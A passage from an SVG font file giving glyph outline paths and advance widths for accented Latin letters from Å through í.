<glyph unicode="&#xc5;" horiz-adv-x="1263" d="M33 0l479 1468q-57 29 -91 83t-34 126q0 104 67.5 172t176.5 68q106 0 174.5 -67.5t68.5 -172.5q0 -72 -33.5 -126t-90.5 -83l479 -1468q-25 -4 -55.5 -6t-59.5 -2q-27 0 -54.5 2t-51.5 6l-105 340h-555l-102 -340q-27 -4 -53.5 -6t-53.5 -2q-29 0 -56.5 2t-49.5 6z M401 522h449l-225 744zM518 1677q0 -59 30 -96t83 -37t81.5 37t28.5 96t-28.5 96t-81.5 37t-83 -36.5t-30 -96.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1888" d="M-10 0l864 1473h924q4 -23 6 -45.5t2 -45.5t-2 -48t-6 -46h-600v-444h481q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-481v-480h616q4 -20 6 -43.5t2 -46.5t-2 -47.5t-6 -44.5h-825v344h-551l-195 -344q-29 -4 -58.5 -6t-58.5 -2q-33 0 -62.5 2t-53.5 6zM516 524h453v781h-11 z" />
<glyph unicode="&#xc7;" horiz-adv-x="1265" d="M119 725q0 176 47 318.5t136 244t216 155.5t285 54q117 0 200.5 -16.5t147.5 -40.5q-4 -47 -16.5 -86t-32.5 -84q-31 10 -59.5 18t-61.5 14.5t-73 9.5t-91 3q-221 0 -347 -152.5t-126 -437.5q0 -143 35 -249.5t99.5 -177.5t154.5 -105.5t198 -34.5q88 0 158 14t131 43 q20 -43 34.5 -85t23.5 -87q-162 -66 -351 -66h-34l-35 -88q10 2 19 3.5t20 1.5q113 0 165 -53.5t52 -129.5q0 -100 -80 -152.5t-219 -52.5q-31 0 -76 4.5t-88 20.5q2 31 7 63.5t24 59.5q72 -23 129 -23q143 0 143 80q0 39 -35 54.5t-96 15.5q-29 0 -57.5 -3t-59.5 -14 l-16 19q20 51 39.5 101t38.5 104q-129 20 -230.5 80.5t-172 154.5t-108.5 221t-38 281z" />
<glyph unicode="&#xc8;" horiz-adv-x="1097" d="M180 0v1473h809q6 -41 6 -91q0 -23 -1 -47t-5 -45h-600v-422h479q4 -20 6.5 -43.5t2.5 -46.5t-2.5 -47t-6.5 -45h-479v-504h617q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-826zM262 1817q29 4 64.5 7t72.5 3t75 -3t71 -7l215 -222q-47 -8 -105 -8q-29 0 -57.5 2t-54.5 6z " />
<glyph unicode="&#xc9;" horiz-adv-x="1097" d="M180 0v1473h809q6 -41 6 -91q0 -23 -1 -47t-5 -45h-600v-422h479q4 -20 6.5 -43.5t2.5 -46.5t-2.5 -47t-6.5 -45h-479v-504h617q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-826zM395 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2 q-29 0 -53.5 2t-53.5 6z" />
<glyph unicode="&#xca;" horiz-adv-x="1097" d="M180 0v1473h809q6 -41 6 -91q0 -23 -1 -47t-5 -45h-600v-422h479q4 -20 6.5 -43.5t2.5 -46.5t-2.5 -47t-6.5 -45h-479v-504h617q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-826zM224 1595l241 222q23 4 53.5 6t65.5 2t64.5 -2t56.5 -6l235 -222q-18 -4 -40.5 -6t-43.5 -2h-45 q-23 0 -50.5 2t-43.5 6l-133 125l-133 -125q-18 -4 -47 -6t-49 -2h-48q-20 0 -41.5 2t-41.5 6z" />
<glyph unicode="&#xcb;" horiz-adv-x="1097" d="M180 0v1473h809q6 -41 6 -91q0 -23 -1 -47t-5 -45h-600v-422h479q4 -20 6.5 -43.5t2.5 -46.5t-2.5 -47t-6.5 -45h-479v-504h617q6 -41 6 -90q0 -23 -1 -47.5t-5 -44.5h-826zM246 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6q8 -47 9 -103q0 -57 -9 -104 q-25 -4 -52.5 -6t-53.5 -2q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM682 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6t-53.5 -2q-25 0 -53 2t-53 6q-4 27 -7.5 51.5t-3.5 50.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="569" d="M-43 1817q29 4 64.5 7t72.5 3t75 -3t71 -7l215 -222q-47 -8 -105 -8q-29 0 -57.5 2t-54.5 6zM180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="&#xcd;" horiz-adv-x="569" d="M129 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2q-29 0 -53.5 2t-53.5 6zM180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="&#xce;" horiz-adv-x="569" d="M-73 1595l241 222q23 4 53.5 6t65.5 2t64.5 -2t56.5 -6l235 -222q-18 -4 -40.5 -6t-43.5 -2h-45q-23 0 -50.5 2t-43.5 6l-133 125l-133 -125q-18 -4 -47 -6t-49 -2h-48q-20 0 -41.5 2t-41.5 6zM180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -50.5 -6 t-53.5 -2q-27 0 -54.5 2t-50.5 6z" />
<glyph unicode="&#xcf;" horiz-adv-x="569" d="M-47 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6q8 -47 9 -103q0 -57 -9 -104q-25 -4 -52.5 -6t-53.5 -2q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM180 0v1473q25 4 51.5 6t53.5 2t53.5 -2t50.5 -6v-1473q-25 -4 -50.5 -6t-53.5 -2q-27 0 -54.5 2t-50.5 6z M389 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6t-53.5 -2q-25 0 -53 2t-53 6q-4 27 -7.5 51.5t-3.5 50.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1449" d="M25 754q0 18 2 39.5t6 37.5h168v642q70 8 168 15t192 7q387 0 578.5 -196.5t191.5 -565.5q0 -385 -195.5 -571.5t-582.5 -186.5q-96 0 -190.5 7.5t-161.5 17.5v678h-168q-4 16 -6 36.5t-2 39.5zM410 172q29 -4 70.5 -7t88.5 -3q121 0 220.5 27.5t171 93t110.5 177 t39 279.5q0 154 -39 262.5t-109.5 177t-169 99.5t-217.5 31q-39 0 -85 -1t-80 -8v-469h331q4 -16 6.5 -37.5t2.5 -39.5q0 -16 -2.5 -38t-6.5 -38h-331v-506z" />
<glyph unicode="&#xd1;" horiz-adv-x="1392" d="M180 0v1473q23 4 48.5 6t47.5 2q23 0 48.5 -2t48.5 -6l641 -1106v1106q25 4 51.5 6t52.5 2q23 0 47.5 -2t46.5 -6v-1473q-23 -4 -48 -6t-48 -2t-48.5 2t-47.5 6l-643 1100v-1100q-23 -4 -48.5 -6t-49.5 -2q-27 0 -52.5 2t-46.5 6zM332 1759q33 37 86.5 71t120.5 34 q43 0 86 -16.5t84 -35t81 -35t81 -16.5q39 0 68.5 15.5t70.5 54.5q47 -57 68 -121q-35 -35 -87.5 -66.5t-117.5 -31.5q-45 0 -88 15t-84 34.5t-81 35t-79 15.5q-43 0 -72.5 -17.5t-68.5 -52.5q-23 29 -41.5 56.5t-26.5 60.5z" />
<glyph unicode="&#xd2;" horiz-adv-x="1482" d="M121 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM344 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5zM379 1817q29 4 64.5 7t72.5 3t75 -3t71 -7l215 -222q-47 -8 -105 -8q-29 0 -57.5 2t-54.5 6z" />
<glyph unicode="&#xd3;" horiz-adv-x="1482" d="M121 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM344 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5zM573 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2q-29 0 -53.5 2t-53.5 6z" />
<glyph unicode="&#xd4;" horiz-adv-x="1482" d="M121 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM344 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5zM379 1595l241 222q23 4 53.5 6t65.5 2t64.5 -2t56.5 -6l235 -222q-18 -4 -40.5 -6t-43.5 -2h-45q-23 0 -50.5 2t-43.5 6l-133 125 l-133 -125q-18 -4 -47 -6t-49 -2h-48q-20 0 -41.5 2t-41.5 6z" />
<glyph unicode="&#xd5;" horiz-adv-x="1482" d="M121 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM344 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5zM379 1759q33 37 86.5 71t120.5 34q43 0 86 -16.5t84 -35t81 -35t81 -16.5q39 0 68.5 15.5t70.5 54.5q47 -57 68 -121 q-35 -35 -87.5 -66.5t-117.5 -31.5q-45 0 -88 15t-84 34.5t-81 35t-79 15.5q-43 0 -72.5 -17.5t-68.5 -52.5q-23 29 -41.5 56.5t-26.5 60.5z" />
<glyph unicode="&#xd6;" horiz-adv-x="1482" d="M121 735q0 166 38 305.5t114.5 240.5t193.5 158.5t277 57.5t276.5 -57.5t193 -158.5t113.5 -240.5t37 -305.5t-37 -305t-113.5 -240.5t-193 -158t-276.5 -56.5t-277 56.5t-193.5 158t-114.5 240.5t-38 305zM344 735q0 -135 24.5 -241.5t74 -182t124.5 -115.5t177 -40 t176.5 40t124 115.5t74 182t24.5 241.5q0 133 -24.5 240.5t-74 182.5t-124 115t-176.5 40t-177 -40t-124.5 -115t-74 -182.5t-24.5 -240.5zM405 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6q8 -47 9 -103q0 -57 -9 -104q-25 -4 -52.5 -6t-53.5 -2 q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM841 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6t-53.5 -2q-25 0 -53 2t-53 6q-4 27 -7.5 51.5t-3.5 50.5z" />
<glyph unicode="&#xd7;" d="M236 477l249 248q-63 61 -124.5 123.5t-122.5 124.5q25 37 58.5 69.5t70.5 61.5l247 -250q61 63 123 123.5t125 124.5q74 -55 129 -129q-123 -125 -248 -248q125 -123 248 -248q-27 -37 -60.5 -70.5t-68.5 -56.5l-246 246l-251 -248q-76 51 -129 129z" />
<glyph unicode="&#xd8;" horiz-adv-x="1482" d="M115 0l147 203q-72 100 -107.5 235t-35.5 297q0 166 38 305.5t114.5 240.5t193.5 158.5t276 57.5q117 0 211.5 -30.5t165.5 -90.5l70 97q16 4 35.5 6t44.5 2q27 0 47 -2t39 -6l-142 -195q76 -102 113 -239.5t37 -303.5t-37 -305t-113.5 -240.5t-193.5 -158t-277 -56.5 q-123 0 -218 33t-169 94l-73 -102q-35 -6 -82 -6t-84 6zM342 735q0 -209 55 -346l600 823q-96 100 -256 101q-102 0 -177 -40t-124 -115t-73.5 -182.5t-24.5 -240.5zM473 266q100 -110 268 -110q102 0 177 40t124.5 115.5t74 182t24.5 241.5q0 213 -64 359z" />
<glyph unicode="&#xd9;" horiz-adv-x="1380" d="M166 600v873q49 6 106 6q55 0 103 -6v-836q0 -127 16.5 -217t53 -146.5t97 -83t148.5 -26.5t147.5 26.5t96.5 83t53.5 146.5t16.5 217v836q51 6 104 6q57 0 106 -6v-873q0 -147 -27.5 -264t-90 -197t-162.5 -122t-244 -42q-143 0 -243.5 42t-163 122t-90 197t-27.5 264z M348 1817q29 4 64.5 7t72.5 3t75 -3t71 -7l215 -222q-47 -8 -105 -8q-29 0 -57.5 2t-54.5 6z" />
<glyph unicode="&#xda;" horiz-adv-x="1380" d="M166 600v873q49 6 106 6q55 0 103 -6v-836q0 -127 16.5 -217t53 -146.5t97 -83t148.5 -26.5t147.5 26.5t96.5 83t53.5 146.5t16.5 217v836q51 6 104 6q57 0 106 -6v-873q0 -147 -27.5 -264t-90 -197t-162.5 -122t-244 -42q-143 0 -243.5 42t-163 122t-90 197t-27.5 264z M547 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2q-29 0 -53.5 2t-53.5 6z" />
<glyph unicode="&#xdb;" horiz-adv-x="1380" d="M166 600v873q49 6 106 6q55 0 103 -6v-836q0 -127 16.5 -217t53 -146.5t97 -83t148.5 -26.5t147.5 26.5t96.5 83t53.5 146.5t16.5 217v836q51 6 104 6q57 0 106 -6v-873q0 -147 -27.5 -264t-90 -197t-162.5 -122t-244 -42q-143 0 -243.5 42t-163 122t-90 197t-27.5 264z M330 1595l241 222q23 4 53.5 6t65.5 2t64.5 -2t56.5 -6l235 -222q-18 -4 -40.5 -6t-43.5 -2h-45q-23 0 -50.5 2t-43.5 6l-133 125l-133 -125q-18 -4 -47 -6t-49 -2h-48q-20 0 -41.5 2t-41.5 6z" />
<glyph unicode="&#xdc;" horiz-adv-x="1380" d="M166 600v873q49 6 106 6q55 0 103 -6v-836q0 -127 16.5 -217t53 -146.5t97 -83t148.5 -26.5t147.5 26.5t96.5 83t53.5 146.5t16.5 217v836q51 6 104 6q57 0 106 -6v-873q0 -147 -27.5 -264t-90 -197t-162.5 -122t-244 -42q-143 0 -243.5 42t-163 122t-90 197t-27.5 264z M356 1718q0 51 6 105q29 4 55.5 6t51.5 2q27 0 55.5 -2t52.5 -6q8 -47 9 -103q0 -57 -9 -104q-25 -4 -52.5 -6t-53.5 -2q-25 0 -52.5 2t-56.5 6q-6 51 -6 102zM792 1718q0 47 11 105q25 4 52.5 6t53.5 2q25 0 52.5 -2t56.5 -6q6 -53 6 -103q0 -53 -6 -104q-29 -4 -55.5 -6 t-53.5 -2q-25 0 -53 2t-53 6q-4 27 -7.5 51.5t-3.5 50.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1212" d="M37 1473q27 4 57.5 6t61.5 2q27 0 58.5 -2t55.5 -6l344 -732l340 732q27 4 53.5 6t55.5 2t57.5 -2t55.5 -6l-461 -934v-539q-27 -4 -53.5 -6t-53.5 -2t-54.5 2t-49.5 6v539zM467 1595l217 222q33 4 70 7t74 3q39 0 73.5 -3t63.5 -7l-279 -222q-27 -4 -55.5 -6t-56.5 -2 q-29 0 -53.5 2t-53.5 6z" />
<glyph unicode="&#xde;" horiz-adv-x="1189" d="M178 0v1473q49 6 105 6q25 0 52 -1t52 -5v-230q35 4 64.5 5t64.5 1q106 0 207.5 -23.5t181.5 -81t128 -152.5t48 -238q0 -141 -48 -236.5t-128 -152t-181 -80t-208 -23.5q-35 0 -64.5 1t-64.5 3v-266q-25 -4 -52.5 -5t-51.5 -1q-27 0 -54.5 1t-50.5 5zM387 451 q39 -4 62.5 -6.5t66.5 -2.5q63 0 126 12.5t112 47.5t79.5 96t30.5 158q0 96 -30.5 157.5t-79.5 95t-111.5 46t-126.5 12.5q-41 0 -64.5 -2t-64.5 -6v-608z" />
<glyph unicode="&#xdf;" horiz-adv-x="1171" d="M162 0v1010q0 119 20.5 213t68.5 160.5t127 101.5t193 35q100 0 172 -27t118 -72t67.5 -105.5t21.5 -127.5q0 -92 -28.5 -154.5t-63.5 -112t-63.5 -92.5t-28.5 -98q0 -43 24.5 -72.5t60.5 -54t78 -51.5t77.5 -62.5t60.5 -87t25 -127.5q0 -133 -90.5 -217t-268.5 -84 q-78 0 -136 13.5t-112 36.5q4 41 17.5 81.5t29.5 79.5q47 -23 92.5 -34t92.5 -11q70 0 120 30t50 112q0 49 -23.5 80.5t-59.5 56t-78 49.5t-78 56.5t-59.5 76.5t-23.5 115q0 72 29 124t62.5 101t62.5 104.5t29 133.5q0 80 -46.5 127t-134.5 47q-123 0 -165 -83t-42 -265 v-1006q-23 -4 -49 -6t-49 -2t-50.5 2t-49.5 6z" />
<glyph unicode="&#xe0;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM190 1477q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9q-31 0 -58.5 2t-50.5 7zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144z" />
<glyph unicode="&#xe1;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144zM325 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5 q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xe2;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM170 1217l223 260q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5 t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144z" />
<glyph unicode="&#xe3;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM174 1368q31 41 80 70.5t116 29.5q43 0 82 -14t75 -30.5t73 -31t78 -14.5q35 0 64.5 12.5t72.5 51.5q45 -55 65 -125q-33 -39 -83 -67.5t-115 -28.5q-43 0 -82 14t-76 30.5t-73 31t-75 14.5q-41 0 -69.5 -14.5t-69.5 -49.5 q-23 29 -39 58.5t-24 62.5zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144z" />
<glyph unicode="&#xe4;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM215 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4 q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144zM633 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xe5;" horiz-adv-x="1058" d="M98 311q0 88 36 154.5t97.5 111t141.5 66t168 21.5q66 0 107.5 -3.5t70.5 -7.5v39q0 121 -61.5 168t-178.5 47q-72 0 -134 -11t-122 -30q-39 68 -39 162q70 23 154 35t162 12q205 0 311.5 -93t106.5 -298v-657q-72 -16 -174.5 -34t-208.5 -18q-100 0 -181.5 18.5 t-137.5 59.5t-87 104.5t-31 153.5zM301 315q0 -61 22.5 -96t56.5 -53.5t75 -22.5t77 -4q47 0 97.5 5.5t89.5 15.5v334q-31 4 -78 8t-80 4q-127 0 -193.5 -47t-66.5 -144zM320 1419q0 98 61.5 158.5t159.5 60.5t159.5 -60t61.5 -159q0 -98 -61.5 -158.5t-159.5 -60.5 t-159.5 60.5t-61.5 158.5zM441 1419q0 -53 25.5 -83.5t74.5 -30.5t75.5 30.5t26.5 83.5t-26.5 84t-75.5 31t-74.5 -30.5t-25.5 -84.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1718" d="M90 311q0 88 36 153.5t97.5 108.5t141 64.5t170.5 21.5q53 0 96 -3t78 -7v43q0 121 -59.5 168t-176.5 47q-70 0 -134.5 -11t-121.5 -30q-39 68 -39 162q70 23 153 35t163 12q123 0 205.5 -40t138.5 -124q57 74 143 119t201 45q106 0 187 -37t136.5 -101.5t83 -153.5 t27.5 -193q0 -27 -2 -58.5t-6 -54.5h-703q0 -180 84 -257t256 -77q74 0 138.5 13.5t129.5 38.5q14 -31 24.5 -75t12.5 -87q-139 -57 -323 -58q-106 0 -198.5 24t-160.5 77q-66 -41 -163 -71t-209 -30q-88 0 -163 18.5t-128 59.5t-84 104.5t-31 153.5zM295 309 q0 -59 22.5 -94t55.5 -52.5t70.5 -22.5t70.5 -5q66 0 133.5 14.5t116.5 49.5q-29 49 -42 115.5t-15 134.5l-2 38q-31 4 -70 7.5t-74 3.5q-129 0 -197.5 -44t-68.5 -145zM907 629h512q0 57 -14 109.5t-44 91t-75 61t-106 22.5q-127 0 -192.5 -74.5t-80.5 -209.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="978" d="M104 524q0 117 32 217.5t96.5 174t159.5 116.5t222 43q84 0 152 -11t127 -34q0 -35 -9.5 -80t-25.5 -80q-51 16 -106.5 25.5t-120.5 9.5q-160 0 -240 -103.5t-80 -277.5q0 -197 91.5 -289t242.5 -92q61 0 112.5 8.5t106.5 28.5q16 -29 28.5 -71.5t14.5 -88.5 q-66 -23 -136.5 -34t-156.5 -11l-36 -92q10 2 36 2q106 0 160.5 -49t54.5 -125q0 -102 -80.5 -153.5t-216.5 -51.5q-29 0 -71.5 4.5t-83.5 20.5q2 29 7 60.5t22 58.5q68 -23 126 -23q63 0 102.5 21.5t39.5 60.5q0 41 -37 57.5t-98 16.5q-29 0 -57.5 -4t-55.5 -10 q-4 2 -12 10q39 109 78 209q-195 37 -291.5 177t-96.5 359z" />
<glyph unicode="&#xe8;" horiz-adv-x="1140" d="M102 518q0 117 30 218.5t91.5 176t154.5 118.5t220 44q109 0 190.5 -37t137 -101.5t84 -153.5t28.5 -193q0 -29 -2 -60.5t-4 -54.5h-715q4 -172 89 -252t251 -80q145 0 277 52q16 -31 26.5 -75t12.5 -87q-68 -29 -149 -43.5t-179 -14.5q-143 0 -245.5 40t-169 113 t-97.5 172t-31 218zM272 1477q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9q-31 0 -58.5 2t-50.5 7zM319 627h519q0 57 -15.5 109t-45.5 91t-76 62.5t-109 23.5q-125 0 -191.5 -75.5t-81.5 -210.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1140" d="M102 518q0 117 30 218.5t91.5 176t154.5 118.5t220 44q109 0 190.5 -37t137 -101.5t84 -153.5t28.5 -193q0 -29 -2 -60.5t-4 -54.5h-715q4 -172 89 -252t251 -80q145 0 277 52q16 -31 26.5 -75t12.5 -87q-68 -29 -149 -43.5t-179 -14.5q-143 0 -245.5 40t-169 113 t-97.5 172t-31 218zM319 627h519q0 57 -15.5 109t-45.5 91t-76 62.5t-109 23.5q-125 0 -191.5 -75.5t-81.5 -210.5zM413 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
<glyph unicode="&#xea;" horiz-adv-x="1140" d="M102 518q0 117 30 218.5t91.5 176t154.5 118.5t220 44q109 0 190.5 -37t137 -101.5t84 -153.5t28.5 -193q0 -29 -2 -60.5t-4 -54.5h-715q4 -172 89 -252t251 -80q145 0 277 52q16 -31 26.5 -75t12.5 -87q-68 -29 -149 -43.5t-179 -14.5q-143 0 -245.5 40t-169 113 t-97.5 172t-31 218zM244 1217l223 260q27 4 60.5 6t64.5 2q23 0 54.5 -2t60.5 -8l221 -258q-18 -4 -42 -6.5t-50 -2.5q-27 0 -58.5 2t-58.5 7l-133 163l-133 -163q-23 -4 -52.5 -6.5t-56.5 -2.5q-59 0 -100 9zM319 627h519q0 57 -15.5 109t-45.5 91t-76 62.5t-109 23.5 q-125 0 -191.5 -75.5t-81.5 -210.5z" />
<glyph unicode="&#xeb;" horiz-adv-x="1140" d="M102 518q0 117 30 218.5t91.5 176t154.5 118.5t220 44q109 0 190.5 -37t137 -101.5t84 -153.5t28.5 -193q0 -29 -2 -60.5t-4 -54.5h-715q4 -172 89 -252t251 -80q145 0 277 52q16 -31 26.5 -75t12.5 -87q-68 -29 -149 -43.5t-179 -14.5q-143 0 -245.5 40t-169 113 t-97.5 172t-31 218zM256 1339q0 25 2.5 50.5t6.5 52.5q25 4 52.5 6t51.5 2q23 0 50.5 -2t54.5 -6q8 -47 8 -103q0 -25 -2 -50t-6 -52q-53 -6 -105 -6q-23 0 -51 1t-53 5q-4 27 -6.5 51.5t-2.5 50.5zM319 627h519q0 57 -15.5 109t-45.5 91t-76 62.5t-109 23.5 q-125 0 -191.5 -75.5t-81.5 -210.5zM674 1339q0 25 2 50.5t6 52.5q25 4 52.5 6t50.5 2q25 0 52.5 -2t53.5 -6q6 -53 6 -103q0 -51 -6 -102q-53 -6 -104 -6q-23 0 -51.5 1t-53.5 5q-8 47 -8 102z" />
<glyph unicode="&#xec;" horiz-adv-x="589" d="M-29 1477q31 4 61.5 6t67.5 2q33 0 67 -2t64 -6l236 -260q-47 -8 -96 -9q-31 0 -58.5 2t-50.5 7zM84 971q0 20 2 41.5t6 38.5h332v-1051q-23 -4 -50.5 -6t-49.5 -2q-20 0 -48 2t-51 6v891h-133q-4 16 -6 37.5t-2 42.5z" />
<glyph unicode="&#xed;" horiz-adv-x="589" d="M84 971q0 20 2 41.5t6 38.5h332v-1051q-23 -4 -50.5 -6t-49.5 -2q-20 0 -48 2t-51 6v891h-133q-4 16 -6 37.5t-2 42.5zM102 1217l236 260q31 4 63.5 6t67.5 2q37 0 67.5 -2t59.5 -6l-291 -260q-23 -4 -49.5 -6.5t-59.5 -2.5q-23 0 -46 2t-48 7z" />
